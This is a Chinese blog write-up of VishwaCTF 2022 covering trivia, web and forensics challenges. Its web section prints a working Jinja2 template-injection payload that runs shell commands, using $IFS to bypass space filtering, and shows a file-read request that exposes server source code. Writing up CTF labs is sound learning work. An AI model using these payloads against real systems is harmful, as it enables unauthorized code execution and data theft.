VishwaCTF 2022 部分writeup
本文来自csdn的??shu天??，平时会记录ctf、取证和渗透相关的文章，欢迎大家来我的主页：shu天_CSDN博客-ctf,取证,web领域博主 看看ヾ(＠ ?ω? ＠)ノ！！
因为我开始做的时候只有两三个小时了，摸了一些简单题
General
Trivia 1
This is a Debian-derived Linux distribution managed and funded by Offensive Security If there are any spaces, use an “_” instead of it.
Kali Linux 由 Debian 派生的 Linux 发行版，由 Offensive Security 管理和资助。
vishwaCTF{Kali_Linux}
Trivia 2
Who coined the term virus in computer?Name any one. If there are any spaces, use an “_” instead of it.
vishwaCTF{Len_Adleman}
1983 年 11 月 3 日，弗雷德·科恩 (Fred Cohen) 博士研制出一种在运行过程中可以复制自身的破坏性程序，伦·艾德勒曼 (Len Adleman) 将它命名为计算机病毒(computer viruses)，并在每周一次的计算机安全讨论会上正式提出。
Trivia 3
The first virus to infect Windows 95 files is If there are any spaces, use an “_” instead of it.
Windows 95下的第一个病毒程序Boza，出自澳大利亚一个叫VLAD的组织。
vishwaCTF{Boza}
Web
Hey Buddy!
Hey Buddy, Give me your name I will display your name on my website. Yes exactly, there is nothing in this website.
{{8*9}} →72
啥过滤没有
payload:
{{''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']("nl$IFS*").read()}}
这里的执行命令时候，空格怎么都不行，所以用$IFS替代，但是flag.txt又读不出来，干脆读了所有文件
Stock Bot
We have our online shop of computer related accessories. So for easy customer interaction we have made a stock bot which will give you how many units of enlisted products are available.
抓包看看，发现机器人会报错
他是用file_get_contents()读取的，可以把他的源码取下来
GET /Products/check.php?product=check.php
<?php
if(isset($_GET['product'])){
$product = $_GET['product'];
header('Content-type: application\/json');
if(strpos($product,'Flag')){
$data = array('Flag' => file_get_contents($product));
}
else{
$data = array('Quantity' => file_get_contents($product));
}
echo json_encode($data);
}
?>
所以传flag可以直接读到
My Useless Website
Description - I made this website having simple authentication used in it. But unfortunately I forgot the credentials. Can you help me to find the correct one ??
看报错是SQLite数据库注入
鬼鬼注入一下就出来了
Forensic
Keep the flag high
The great Pirate Narao Gosco has your flag but pirates are hard to fight. Can you rotate the ch4n7es in your favor?
首先是bmp修复
89 50 4E 47 0D 0A 1A 0A
得到一张二维码
扫描得到pirate.jpeg
这张图片 FF D9 结尾后有一段冗余数据，分离出来是ascii码
trYAB_9
NDF_:5bE0D:0d4:D?bC_7Lu%r2H9D:'
IEND
rot47解密后倒转即是flag(题目描述中的 rotate 也是提示我们是rot系列解密)
本文来自csdn的??shu天??，平时会记录ctf、取证和渗透相关的文章，欢迎大家来我的主页：shu天_CSDN博客-ctf,取证,web领域博主 看看ヾ(＠ ?ω? ＠)ノ！！